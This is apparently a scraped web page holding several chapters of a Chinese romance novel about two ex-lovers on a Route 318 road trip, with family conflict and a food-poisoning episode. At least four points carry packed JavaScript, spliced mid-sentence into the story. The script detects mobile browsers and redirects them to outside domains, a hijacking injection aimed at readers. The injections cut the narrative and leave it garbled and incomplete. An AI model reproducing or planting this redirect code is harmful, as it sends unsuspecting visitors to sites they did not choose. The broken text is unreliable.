后座挤着三个男生,腿脚有些伸展不开,许璋紧紧地贴着车窗,硬是和杭樾中间隔了几公分,差点把自己压成兔饼。 杭樾蹙眉道:“你爱上窗户了?小心撞到头。” “我要看风景。”许璋说。 “都起雾了,你看个锤子风景。” 许璋瘪着嘴巴,在窗户上画了个圈,将中间的雾气抹掉,露出窗外灯火通明的夜,大桥和江水纷纷远去。 杭樾吃不准哪里惹到他,车上十分安静,也不好开口问。 到达冉佑的住处后,许璋和他一起下车,回到家里。 冉佑嚎叫脸要被吹破了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035224|162174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,冲进浴室敷急救面膜,许璋窝在沙发上逗猫,然后收到了杭樾的消息。 [Y22:你打算多久回上海?] 莫名其妙的问题,许璋不太想搭理他。 没几分钟,杭樾又发:[晚上没骑车,是因为江边太冷了,下次再带你兜风。] 许璋哼了一声,还是不回。 [Y22:在江边不是有意凶你,就当开玩笑吧。] 冉佑敷着面膜出来,问道:“干嘛抱着手机发痴,情哥哥在撩你?” “情个屁。”许璋闷闷不乐。 “怎么,你要生闷气让我猜吗?” 许璋把纹身的事告诉他,冉佑满不在乎:“那有什么的,或许是他妈的生日,他爸的生日,他奶的生日,他爷的生日。” “……你好像在骂人。” “瞎说,我是文明人,你问他了吗?” “问了,他不肯说,还掐我脖子。” “哎哟喂。”冉佑说,“他怎么这么破防,难道……是你们的纪念日?” “不可能,04年我才刚会走路,尿床纪念日吗。” 冉佑仔细分析:“有没有可能是2020年4月……也不对,4月哪来的31号,我的妈呀,土象都这么隐晦吗,我看不懂。” “他是双子上升金牛啦,不是土象。” 冉佑绝望:“啊啊啊啊,受不了了!我们好像那个陷入爱情的小女孩,怎么搁这儿研究上星座了,还有,你为什么连他的上升都记得这么清楚?别瞪眼睛,给我闭嘴,让我看一眼消息。” 他抢走手机,看了几分钟,笃定地说:“好了,别纠结生日了,双子哥八成想泡你。” 许璋疑惑:“依据是?” “这句‘你打算多久回上海’,还看不出来吗,他想回去后约你。” 许璋呆呆地啃指甲,盯着屏幕思考。 冉佑忽然严肃道:“对了,有件事我得提醒你。” “嗯?” “我觉得,他那个兄弟像深柜。” “啊?” 冉佑握住他肩膀,一口气说:“假如以后,你和双子哥复合了,首先,不要提这件事,也不要说是我说的;其次,婚礼别让我坐主桌,我看见他的脸,就会想起你为他心乱如麻的夜晚,我怕控制不住把鞋扔他脸上。当然,我私心还是希望你们只打.炮不复合,因为我知道,你们分手有不可抗力的原因,我不想你再难受一次。” “以上是今晚的总结,好了,现在去洗澡,禁止再为男人纠结,双子哥OUT。” 他没给许璋反应的时间,直接把人推进浴室。 被点名的杭樾坐在床边,打了个喷嚏。 江木舜推门进来,碰见邢远正要去洗澡。 江木舜问:“他干嘛呢?” 邢远说:“Cos沉思者,坐那儿十分钟了,动都不动。” 江木舜嘴角抽搐,错身让他过去,走到杭樾面前。 “醒醒,别神游了,来核对一下明天的路线。” 杭樾推开他:“早就发你了,不要吵,我在忙。” 江木舜看看四周:“忙什么?这里还有第三个人在和你对话?这酒店闹鬼啊。” 杭樾心不在焉地说:“我在复盘。” “复盘?复什么盘?” 他认真道:“从今晚见许璋到下车为止,哪一句话说错了,你也帮我一起想想。” 江木舜傻眼,指着他愤懑地说:“不管你是何方小鬼,赶紧从我兄弟身上下来!” 15.第 15 章 许璋没把冉佑的胡言乱语放心上,洗完澡冷静了会儿,还是选择回消息。 冉佑有一句说得对,他有点困在这种氛围里了,这不是个好现象。 他们早已经是过去式了,杭樾爱干嘛干嘛,爱纹谁的生日纹谁的生日,轮不到他去操心。 于是他回复:[没空,不必了。] 杭樾回了六个点。 许璋正想放下手机,杭樾打了一堆字。 [Y22:什么叫不必了?] [Y22:首先约我兜风的是你,现在说没空的也是你,哪有这样的道理,你到底有没有信誉?还有,我没说要约你吧,你说没空是几个意思,害怕我约你?我干嘛了你这么怕?你几号回上海,出来说清楚。] 密密麻麻的字,许璋看见的:[……你到底……有没有信誉……我没说……要约你……] 他还先反咬一口上了。 许璋没忍住,刚要打字骂他,突然有个陌生号码打过来。 他恼火地挂断,打了几个字,那个号码又打过来,如此反复了三次。 许璋按下接通,烦躁道:“不买保险不贷款不找工作不去缅甸!别打了!” 那边愣了几秒,吼的比他还大声:“许璋!你发神经啊,凭什么把我拉黑?凭什么挂我三次?!” 许璋噎住,难以置信地看向手机。 宋焕咬牙切齿,恨不得隔空跟他打一架,用愤怒至极的语气说道:“你他吗在哪儿呢?不会还在那个鸭子床上吧?” 许璋怒道:“放你的狗屁,有病就去宛平南路挂精神科,少出来乱咬人。” 他的手移到挂断键。 宋焕预判道:“你敢挂,你就死定了!老子千里迢迢干到武汉,你还不来机场接老子!我人生地不熟,都快冻僵了!” 许璋怀疑幻听:“你说什么?” “我说,我在天河机场!你耳朵聋了。” 许璋捏着眉心,屏住呼吸,好半天才说:“你来武汉干嘛?” 宋焕呼哧呼哧地喘气,像是被气得不轻,外头温度接近零下,隔着手机,都能听见他上下牙齿打颤的声音。 “我……”他梗着脖子,欲言又止。 许璋见他不回答,便报了个地址:“去开个房睡一晚,明天自己回上海。” 宋焕抖着手搜索地址,然后气得发抖:“你给我gay吧干什么?” “要不给你收容所或者福利院?宋焕,你是个成年人了,和家里闹矛盾就离家出走,是我小学之后都不会干的事。先去凑合一晚,明天趁早给我滚。” 宋焕静了几秒,咆哮:“放屁!我才不是离家出走,我……我他吗以为你被鸭子强上了,许璋,你还是不是人?你有没有良心!我大老远跑来找你,你就这样对我!” 他越想越来气:“你挂吧!你去和鸭子上床吧,让我一个人冻死在外面好了!” 说完,啪嗒撂了手机。 许璋愣住,有点难以消化。 不是,一段视频而已,还真有俩人当回事。 冉佑端着酒杯过来:“你喝酒吗……哇,什么表情,和情哥哥吵架了?” 许璋从震惊中缓过来:“佑佑,我弟好像疯了。” “你还有情弟弟?”冉佑更震惊,随即反应过来,“哦,你后妈的儿子啊,他疯了?那可太好了,你可以直接回去继承家业,都没人和你争了。” 许璋头疼道:“不不……不是那个疯……你家附近有没有酒店?” 过了一会儿,他订了间附近的酒店,把宋焕从黑名单拉出来,地址发了过去。 宋焕回他:[为什么是酒店?所以你真和鸭子住在一起吗?小心搞出病来。] 许璋努力克制再次拉黑他的冲动。 几分钟后,宋焕给他发了条链接:[看看吧,这是世界卫生组织的数据,不采取安全措施的肛.交非常可怕,你要不还是别搞同性恋了。] [宋焕:我是怕你影响家里人。] [宋焕:你别不当回事。] 许璋回了个“滚尼玛的”。 冉佑撇嘴:“你们家除了你,真是没一个正常人。” 许璋懒得管他死活,但宋焕非要上门,看他是不是和鸭子同床共枕,无奈之下,他只得去了趟酒店。 客房门开着,宋焕顶着一头白毛,岔开腿坐在沙发上,眼神阴郁复杂。 在看见许璋之后,其中的雾霾又加重了几分。 “你在路上劫机了?”许璋皱眉。 宋焕的外套被刮破,下巴还有些青紫,狼狈不堪。 他没好气地说:“老子翻.墙出来的,打你手机关机,发消息被拉黑,还以为你被下.药卖去缅甸了。” “哟,你还挺好心呢。” “许璋,我没把视频发给爸,但是差点报警你知不知道!你再阴阳怪气,信不信我让你走不出这个门!” 这小子是体育特长生,许璋没自信能打得过他,于是换了个问法:“那是你蠢,哪有下.药还拍视频发朋友圈的,所以你到底想怎么样?” “我……”宋焕眼神飘忽。 他没再问结鸭子的事,显然知道是自己犯蠢,情绪有些低落。 许璋隐约察觉不对,问道:“家里出事了?” 宋焕还是支吾,许璋说:“我耐心有限,三、二、一。” 宋焕连忙出声:“我……我……我来是想问你个问题。” 他握紧拳头,鼓起勇气道:“周末爸妈在书房吵架,被我听见了,后来爸一个人出门,我就尾随他去了……去了一个地方。” 他报了个地名,许璋脸色瞬间发白,面无表情地盯着他。 宋焕咬紧牙关,表情挣扎:“在那里我碰到了你外婆,我以为她是来挑拨离间的……一时冲动就冲了上去,然后被爸打了一顿……后来她说了些奇怪的话,我回去问我妈,她和我大吵了一架,把我关在家里……” 他越说声音越低:“所以我才跑来找你,想问问你……” 空气安静了片刻,他小声说:“我妈到底有没有介入过这个家。” 他说得很委婉,也很明确。 许璋还记得,第一次见他的时候,他只有五岁。那天他兴冲冲来找许璋玩,被不耐烦地拒绝后,依然执拗地跟在他身后。 他说哥哥你钢琴弹得真好。 哥哥我能不能和你一起打球? 哥哥你为什么不理我呀? 哥哥你长得真漂亮…… 许璋忍不住说,那叫帅,不叫漂亮。 宋焕咧个缺牙巴,笑得像个小傻子。 直到他被宋嫣然发现,把他带到卧室,教育了许久,后来整整三天,都没让宋焕再出现。 不知道她说了什么,从那以后,他恨上了许璋。 包括但不限于,故意把篮球扔池子里,向许明楼告发他画画,再也没喊过他一声哥哥……彻底从小尾巴变成了烦人精。 许璋倒是没有太意外,他从刚开始,就没觉得能和这个弟弟亲近。 许璋冷笑一声:“你就是要问这个?” 宋焕紧张道:“是……” 他觉得许璋过于平静,和他在路上设想的不一样。 许璋漠然道:“你不应该问我,应该去问她本人。” “可是……” “既然来都来了,那么我也告诉你一件事。”许璋打断他,“我没有义务向你解释任何事情,你只需要清楚,我唯一的诉求就是——” 他走过去,靠近宋焕的耳朵,轻声说:“让你们一家三口滚出我家,在滚之前,给我和我妈磕十个响头认错。” “宋焕,你知道么,一个人如果被骗一次,那情有可原,但如果被骗无数次,那只能说明,他是个蠢货。” 许璋的语气罕见温柔,说出来的话却冰冷彻骨,他的呼吸萦绕在耳畔,宋焕一时间忘记发怒,呆呆地站在原地。 许璋拍打他的脸颊,冷声道:“你就是那个蠢货。” 他手心凉浸浸的,针织袖口温暖柔软,打人时并不疼,侮辱意味颇强,空气中夹杂着兰桂沐浴露的味道。 宋焕一个激灵,猛然回过神来。 他不由自主地发抖,喉头吞咽,喊道:“哥……” 许璋的眼神充满厌恶,将房卡砸在他脸上:“还真把自己当我弟弟了,你算哪根葱,别再来烦我。” 他转身离开,快步下楼,走向往对面小区。 刚到小区门口,突然看见熟悉的身影。 杭樾靠在摩托车旁,似乎等了有段时间,看见他从对面走来,微微一怔,在发现他身后的宋焕后,迅速皱起眉头。 “哥,许璋,等等……你站住!”宋焕追了上来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许璋抱着脑袋,将气一股脑撒在他身上。 杭樾没滚,而是说:“既然我发现了你的秘密,作为交换,也告诉你个秘密好不好。” 许璋不理他,他自顾自地说:“你不是想知道我的纹身么。” 许璋还是没理会,他早就已经知道了。 “还看不看?”杭樾凑近。 许璋捂着耳朵,手被扒拉下来,杭樾握着他的手,来到耳钉背后。 许璋触碰到那片耳垂,和他的手一样炙热,沾染着异样的红晕。 他悄悄抬起眼睛,“200431”,一行花体数字,藏在耳垂后面。 许璋缩回手指,指尖灼烧感强烈,他忍不住握紧拳头,心跳从生命线一路延伸至胸口。 杭樾温声道:“刚才回去之后,我一直在想,今天哪里惹你不高兴了,想了半天,觉得应该是这个纹身。” 许璋闭紧嘴巴,不愿泄露声音。 以前每次吵架,杭樾总是会从头复盘,那架势比复习思维导图还认真,精准找到争论点,然后一步步化解矛盾。 许璋心想,他真是习惯成自然了。 都忘记他们已经分手了。 杭樾说:“其实本来不想告诉你的,因为说起来有点丢脸。” 许璋斜睨他:“那为什么又想说了?” “比起丢脸,更不希望你带着气旅行。” 他说:“你弟弟已经够让你操心了,没必要再揣着其他事情,我不想对你说谎,小号的事也一样,知道就知道了,干脆一并告诉你。” 许璋的神情松动:“好吧,算你良心未泯。” 杭樾摸了摸耳垂,犹豫道:“这个纹身,的确和你有关。” “2020年4月30日,是我们分手的日子。” 许璋茫然:“原来是这个意思,可你纹的是4月31啊,为什么……” 他忽然反应过来,4月没有31天。 16.第 16 章 纹了个并不存在的日子,是不是就意味着,那天的事情没有发生…… 许璋陷入沉默,垂下头没吭声。 杭樾观察他的表情,却被发丝遮住,半晌后笑笑说:“我当时纹这组数字,只是和过去告别,没有其他意思。” “这样吗。”许璋抬起头。 “那是以前的想法,不是现在的。” 许璋又混乱了,眼神开始飘忽。 两人尴尬的安静,最后是杭樾先开口说:“你有什么想法吗?” 许璋没有想法,他大脑快当机了,但如果他不说点想法出来,估计今晚会变得很糟,于是他想了想说:“我觉得你说的没错。” “嗯?”杭樾疑惑。 “人确实应该和过去告别,多往前看,我明白你的意思了……冷静下来想想,我没必要和宋焕一般见识。” 杭樾没想到他说的是这件事,咳了咳道:“那小子犯浑在先,你当然有理由选择不原谅,你收留他一晚上,已经仁至义尽,这不是‘和他一般见识’。” “你是这样想的?” “虽然不清楚原因,但看他那纠结的样子,理亏的肯定是他,你做得很好,不需要有任何负担。” 许璋颇感意外地点了点头,杭樾居然挺通情达理。 他还是没忍住,看了眼他的耳朵问:“你纹身的时候,除了想和过去告别,还在想什么?” “要听实话?” “当然。” “我当时在想,如果有机会再遇到你,该怎么报复回去。”杭樾笑了一下。 许璋睁大眼睛:“你怎么这么记仇。” “是啊,还做了复仇计划呢,怕不怕。” 许璋噗嗤笑道:“讲的好像我是个负心汉一样,明明你分手也很干脆,都不带挽留的,装什么深情。” 他的笑容浮于唇角,没有抵达眼底,眼睛骨碌碌地打量杭樾,试图从他的表情里找到一些端倪。 然而杭樾只是认同:“确实,当年很洒脱,转头就出国了。” 他停顿几秒,又说:“有的时候,我并不能共情曾经的自己。” 许璋大脑再次变得空白,没法深究这句话的含义。 杭樾起身道:“很晚了,回去吧。” 他将泡面碗丢进垃圾桶,冲锋衣下摆被拽,许璋仰起脸说:“谢谢你来找我。” 他没有过多表示,杭樾明白他的意思,轻松地耸肩道:“真要谢的话,拿出点诚意来,你打算怎么谢?” “回去……请你吃饭。” 杭樾故意停了几秒,才说:“大忙人终于有空了,那说定了。” 他把许璋送到小区门口,转身抬手挥了挥,背影融入夜色之中。 冉佑从窗户瞥见,等许璋上来后评价:“啧,双子哥大晚上还走秀呢。” 许璋盯着手机发呆,不知道在想什么。 第二天一早,他起床去找宋焕。 许璋督促他:“订机票,赶紧。” 昨晚许明楼给他打了电话,他不想再接到宋嫣然的电话。宋焕明显没睡好,顶着两个黑眼圈,一个劲儿看他的脸色。 “你还在生气吗?”他问。 许璋忽然意识到,五岁的年龄差有多可怕。 宋焕跟小孩子一样,身无分文地跑出来,只是为了问个究竟,一晚上过去,他还是没有往深处思考,脑袋简单得像草履虫。 许璋无奈:“你快回家吧,别耽误我上路。” “那你呢?你什么时候回去?而且你没回答我的问题……” “订、票。”许璋不耐烦道。 宋焕苦口婆心:“还有,你能直回来不?你搞同性恋是为了气爸爸吗?昨天那男的是你朋友吧,你跟他一起出来的?他看着稍微靠谱点,你少和那个长得像鸭子的接触……” 许璋面无表情地抬手:“你再废话,我真揍你了。” 宋焕讪讪地摸脸,想起昨晚,他拍打自己的脸,心想你打人又不疼,软绵绵的,跟挠痒痒一样,丝毫没有威慑力。 好在他理智尚存,明白说出来真的会挨巴掌,便识相地沉默,乖乖订票返程。 分别时,宋焕咬着嘴唇问:“你可不可以……不要拉黑我了?” 许璋关上车门让他滚,宋焕扒拉着车窗,一步三回头。 送走这尊佛后,许璋去4S店取车。 冉佑依依不舍地说:“开车小心点呀,看见雪山记得拍照,画布和颜料都补齐了,到下个服务区给我发消息。” “谢啦佑佑,拜拜。” “走秀哥他们人呢?” “一大早就走了。” 许璋笑着说:“别再给他起外号了,这都什么乱七八糟的,一点也不好记。” “好吧,那就叫他会烤红薯骑摩托报警和走秀的杭樾。”冉佑翻了个白眼,“拜拜璋儿,一路平安。” 许璋驶入车流之中,驶离了这座短暂停留的城市。 习惯冉佑的叽叽喳喳,身边骤然安静下来,有些许不适应。 路上车来车往,音响里流淌出静谧的音乐。 许璋看向车载冰箱,忽然想起什么,打开一看,顿时哭笑不得。 那个敬业的员工,居然还把雪人给他塞进去了,已经融化的七七八八,变成了一团冰坨子。 他找了个空旷地带,把它放归大自然。 车离开黄昏的地平线,高三的雪人被留在了318国道。 风依然紧,路依然长。 连续开了三天,第四天傍晚,来到了山城重庆。 许璋本来想进城,不凑巧的是,进城的路正在维修,暂时没办法通行,订的酒店只能退掉。 他查询城外的酒店,却遭遇了和安徽一样的事,附近家家爆满。年关将至,小高峰避无可避。 夕阳逐渐西沉,橘色的晚霞铺满天边,许璋有点迷茫,索性破罐子破摔,爬上车顶画画。 路过一辆货车,司机招呼道:“小伙子,住店吗?” 许璋说:“住。” 司机:“跟我去xx,我有朋友在那开店,五十块一晚。” 许璋搜了下距离,又看看他露出金牙的诡笑笑脸,直觉去了可能回不来了,立马头摇得像拨浪鼓,司机遗憾地离开。 最后没办法,他决定回服务区凑合一晚。 连着几天都在赶路,许璋灰头土脸,被冷风吹了一会儿,开始打喷嚏。 他往回开了十几分钟,接到一个语音电话。 “您好。”许璋带着鼻音哼哼,“您拨打的用户暂时欠费,请充值后再拨。” 杭樾一顿,低笑:“几天没见,你转行干诈骗了。” “干嘛?” “你到重庆了?” 许璋搓了把脸:“是啊,到了。” 杭樾说:“下午封路了,你应该还在外面吧。” “消息这么灵通,你们也在重庆呢?” “我们中午就到了。” 那头安静了片刻,杭樾说:“给你发了个地址,要是没找到住处,晚上可以去那里住。” 许璋愣住,看向他发来的定位。 “在听?” “……在。”许璋反应过来,喊道,“救世主!你怎么知道我没处去,简直料事如神呐!周围的店都满了,我差点成318流浪汉了。” “路上经常会遇到这种事,尤其是高峰期,你头一次来没经验,猜你已经往回开了。” 许璋瘪着嘴地点头,尽管他看不到。 杭樾说:“那地方比较简陋,凑合住一晚,凌晨就通车了,要是住得不舒服,再进城好好睡一觉。” “感动,您莫非真是男菩萨。” “……找抽?” 许璋抿嘴问:“你不教育我一下吗?” “教育什么?” “让我下次别这么蠢,和你对比起来,我好没有生活常识,连突发状况都没考虑过。” 杭樾笑道:“你又不经常出来跑,需要这些常识干嘛,你不蠢,你是聪明蛋。” 最后一句,仿佛在哄小朋友。 许璋被空调烘得发热,臊得慌:“呃……” “对了,江哥和小唐也在那里。”杭樾说,“我们路上分开了,他俩没进城,你去找他们做个伴。” 许璋开到那个地址,是老房子改造的旅店,一间偏僻的农家小院,基本没有装修,墙面还是水泥的。 能在荒凉的地方找到这么间房,实属不易,杭樾真是神通广大。 唐思瑞跑下来接他:“许哥,你来了……阿嚏!!” 许璋鼻子发痒,同样“阿秋”了一声。 江木舜笑着说:“你们打喷嚏挺有特色,音调还不一样,小许也感冒了?” “有点,我都冻僵了。”许璋颤颤巍巍。 “房东留了点食材,我去给你们弄碗姜汤吧。”江木舜主动道,“不过先说好,我没煮过,煮的难喝别怪我。” 许璋不好意思起来:“不不不,哪能让你动手,还是我来吧。” 他蹭杭樾蹭得心安理得,蹭其他人就没那么顺手,自告奋勇来到厨房,吭哧吭哧开始操作。 唐思瑞嚼着奶糖发呆:“小许居 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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许璋心情好过了许多,说要去厨房煮泡面,这次江木舜亲自出马,唐思瑞也迅速加入,两人说什么也不让他动手,煮了三份面。一碗鲜虾鱼板面,一碗泡椒肥牛面,一碗藤椒牛肉面,热辣鲜香,诱人至极。 大家吃得浑身舒畅,江木舜拍着肚皮说:“果然,饿得时候吃泡面都香,这是我吃过最好吃的泡面,很像小时候的味道。” 唐思瑞点头:“就是有点怪怪的,像那种十几年前童年的味。” 许璋开心:“看来我们三个很有下厨的天赋。” 吃完饭,江木舜负责洗碗,唐思瑞收拾桌子,许璋去楼上铺床。 铺着铺着,许璋忽然觉得反胃。 他以为是泡面吃撑了,没有在意,过了几分钟,恶心感变得剧烈,肚子也开始阵痛。 他跑去洗手间干呕,把晚饭全吐了出来,然而还是恶心、冒冷汗,只能扶着楼梯下楼找热水。 许璋喊:“江哥,有热水吗?” 厕所里传来江木舜的声音:“有,在桌上的水壶里……我突然肚子痛,好像吃坏了。” 许璋来到客厅,看见倒在沙发上的唐思瑞,呆了几秒,立马提起劲跑过去。 江木舜上完厕所,捂着肚子出来:“嘶,小许,你觉不觉得晚饭……” 下一秒,他听见许璋喊:“江哥!小唐吐白沫了!” 半小时后,三人齐刷刷躺在了诊所。 他们中毒的程度并不一样,许璋吐了两次,江木舜蹿了三次,唐思瑞一直在翻白眼,整齐地躺成一排挂水。 杭樾连外套都没穿,急匆匆赶过来,正给房东打电话。 “对,现在医生说,要找到中毒的食物……嗯,我听着呢……土豆发芽了,茄子发霉了……” 许璋虚弱地摆手,杭樾说:“他们没怎么吃土豆和茄子,什么?调料放了三年……” 江木舜无力地摇头,杭樾说:“他们也没吃太多调料,还有别的原因吗……看看泡面的生产日期。” 唐思瑞总算缓过来,从随身包里倒出样本土豆、茄子残渣,以及泡面包装袋。 杭樾拿起来查看,登时两眼一黑。 大家已经猜到是泡面的问题,杭樾咬牙竖起大拇指:“太牛逼了,猜猜过期了多久?” 唐思瑞正自拍发朋友圈,笃定道:“估计有三个月。” 江木舜比他大胆点:“一年?” 杭樾望向许璋:“这位小朋友。” 许璋有气无力:“唔,总不能超过三年吧。” 杭樾恼火道:“十年,真难杀啊你们。” 17.第 17 章 三人躺在一起,默契地装死。 许璋吃下去的基本都吐了,挂了一瓶水后恢复了许多,他问杭樾:“不是封路了吗,你怎么出来的?” 杭樾没好气地说:“共享单车加徒步。” 江木舜感动:“太感人了,没想到你这么惦记我们,其实你不来也可以,我们完全能自己爬来诊所,只是有点费膝盖。” “……” 杭樾说:“你记得给阿远也磕一个,我们一起来的,他去给你们买粥了。” 唐思瑞呆呆的:“你们一起来的啊。” “怎么了?” “没什么。” 唐思瑞发了朋友圈,无聊地抬头看点滴,许璋问他:“我又饿了,你饿不饿?” “有点。”唐思瑞兴致不高的样子。 许璋摸摸他脑袋:“还难受吗?” 唐思瑞摇头,拿起手机看消息,刷了几下,恹恹地放下。 杭樾起身出去打热水,这家诊所很小,他问值班护士借了热水瓶,在开水房等水烧好。 冷风嗖嗖地拍打窗户,门口传来窸窸窣窣的声音,鬼鬼祟祟。 他扭头望去,看见许璋在探头探脑。 “要找什么?”杭樾说。 许璋把身上的毯子给他,说:“给,你没穿外套。” 杭樾没接:“自己披着。” “你不冷吗?” “你觉得喜欢冬泳的会怕冷吗。” 许璋莫名其妙:“你喜欢冬泳?什么时候的事,我怎么不知道。” 杭樾说:“大学那会儿喜欢上的,你不知道的可多了。” 空气短暂地安静,分开的五年时间,似乎在这一刻有了实感,在错过的时光里,他们好像多了很多独自的回忆。 水箱咕噜咕噜地响动,气泡沸腾又炸开,像一颗颗破掉的柠檬,有点酸。 许璋找回了思绪:“对了,周皓怎么没来?” 杭樾明白过来他的意思,犹豫道:“他……情况有点复杂,他老家是这里的,中途回了趟家,跟父母起了点矛盾,我就没叫他一起。” “啊?很严重吗?” “不好说,他是少数民族,某些事可能有观念上的冲突,现在不确定他还能不能跟队了。”杭樾说得很委婉。 “听起来不太妙。”许璋喃喃道。 “别老操心别人了,你自己怎么办。” “什么怎么办?” “我看你赶路的进度,跟我们差不太多,如果再碰见的话,不如跟着大家住一块,省得你天天流浪。” 许璋眨巴眼睛望着他,眼瞳黑白分明。 杭樾被看得心悸,面上淡淡道:“你隔三差五就出点岔子,一会儿睡车里一会儿食物中毒,太不让人省心了。后面的酒店你还没订吧……别瞪这么大眼睛看着我,傻不拉几的。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15054640|162174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 像只傻掉的兔子,那种小时候路边买的,吃到不干净的草就会生病,淋几滴雨就会嘎掉,时时刻刻都离不开人的兔子幼崽——他在心里补充。 许璋不高兴:“你几小时前还夸我聪明。” 他的脸颊白里透红,眼角眉梢也因生病而泛红,右边脸鼓起一个包,让人手痒得想给他戳下去。 杭樾按捺住自己的手,移开视线:“聪明蛋不会吃过期十年的泡面,你真就尝不出来一点不对吗,好在以前都是我做饭。” 最后一句话,让两人沉默了几秒。 杭樾状若无事地说:“你以后要是再出来玩,干脆买个房车算了,简单又省事。我们下一站去南充,你要是提前到,可以在那儿等着。” 许璋问:“真要一起啊?” “不乐意就算了。”杭樾无所谓,“随你便。” “我怕你觉得勉强。” “我为什么会勉强?” 许璋心想,他彻底不介意过去了。先前他能感受到,杭樾若有若无的试探和恨意,但现在他好像不在意那些了,这是为什么呢? 他瘪了瘪嘴:“到时候再说吧。” 杭樾果真不在意,接满热水后,头也不回地提着去了输液室。 许璋在原地发呆,叹了口气,过了半天才往外走。 刚走到拐角,一个高大的身影突然出现,他吓了一跳,急忙后退:“什么人?” 18.第 18 章 “是我。”邢远扶了他一下。 “你躲在这里干嘛,吓死人了。” 邢远自上而下打量他,提起手中的袋子:“去买粥了,刚回来,你怎么样,还好吗?” “还行。”许璋说,“我吃的不多,小唐比较严重。” “不是问这个,我知道你没事。”邢远看着他,“你和杭樾,刚才在聊什么?他的脸色不太对。” 许璋怔忪:“聊……聊天气啊。” 邢远无语地看他,他泄气道:“好吧,他问我,后面的行程,要不要和你们一起住。” “你担心不方便?”邢远说,“我们之前也有过结伴的经历,大家都很好说话,没什么不方便的。” 许璋摇摇头,没吭声。 邢远盯着他:“你看起来有点失望。” “让我猜猜,你觉得他邀请你,是因为完全放下过去,对你没有任何别的想法了,对吗?” 许璋诧异地抬头,邢远问:“那你呢?既然他都放下了,你为什么会觉得失望?” “我没有。”许璋皱眉,似乎不想回答这个问题。 “你……” 邢远正要开口,他缩起肩膀道:“好冷,我先回去了。” 许璋和他擦肩而过,邢远站在原地,看着他的背影,表情若有所思。 回输液室后,没看见杭樾。 江木舜说:“他去开药了,隔壁队有个小孩感冒了。” 许璋意外道:“你们还管这些啊。” “出门在外,能搭把手就搭把手,大家都习惯了。”江木舜说,“阿樾刚出来跑摩旅的时候,我们也是这样认识的。” 许璋竖起耳朵,听江木舜说起他们的相识。 杭樾大二回国时,偶然对摩旅产生了兴趣,第一次上路和许璋一样,没怎么做功课就兴冲冲上路了,也走的318。 他在路上比较粗糙,没有订高档酒店,就这么风餐露宿地跑车,有时候甚至找个餐厅或者过道过夜,直到有次睡在车站,手机被偷了,从而认识了江木舜。 许璋哭笑不得:“他手机怎么老被偷,所以是你帮他追回来的?” 江木舜义愤填膺:“说起这个我就来气,他居然以为我是小偷,就因为我走累了,坐在他的背包旁边休息……苍天啊,我都不知道那里有个包,谁家好人把包藏在座位底下!” “他上来反手就给我扭住了,玛德我还在做梦呢,硬生生被人弄惊醒了。关键是,老子白天还跟他打过招呼!他就这么水灵灵地失忆了,以为我故意尾随他到车站的。” 江木舜感慨道:“小许啊,有时候我挺同情你的,跟一个变脸如变天、记忆如金鱼的人谈过,太不容易了。” “噗。”许璋笑喷,“像是他干得出来的事,我们第一次见面也是打架。” 唐思瑞惊呆:“真的假的?他敢打你?” “呃……互殴吧。” “啊?” 邢远走进来,无奈道:“我作证,是真的,其实我和阿樾也是打架认识的。” 大家通完气,笑得东倒西歪。 邢远说起他们小时候,他家和杭家是世交,一帮男孩儿玩在一起,虽然言语里满是嫌弃,但不难看出,他很珍惜这个发小。 许璋听见了他不熟悉的杭樾,仗义的、滑稽的、暴躁的。 以前相处的时间太短,他们从来没真正了解过彼此。 唐思瑞好奇:“你真有樾哥掉进池塘的视频吗?” “何止,还有他骑鸵鸟半个身子翻下来,差点被拖着跑的呢。”邢远哂笑,“高清□□黑历史,我打算在他婚礼上循环播放来着。” 他说这句话时,瞥了眼许璋。 许璋没看清,手机弹出一条邮箱提示。 他瞬间惊喜,走到窗边查看。 很少有人用邮箱联系他,发信任是他以前的艺术老师,黄盛方。 黄盛方是央美的教授,国内有名的大师,也是他妈妈大学时最好的朋友,许璋刚会握笔就跟着他学画画了。后来许璋放弃艺考,他痛心疾首,飞了三次上海试图劝阻,都被许明楼拒之门外。 许璋有点没脸见他,几年都不再联系,只逢年过节发个祝福。 前几天他厚着脸皮,给黄盛方发了封长信,推荐秦阳这个人。 黄盛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 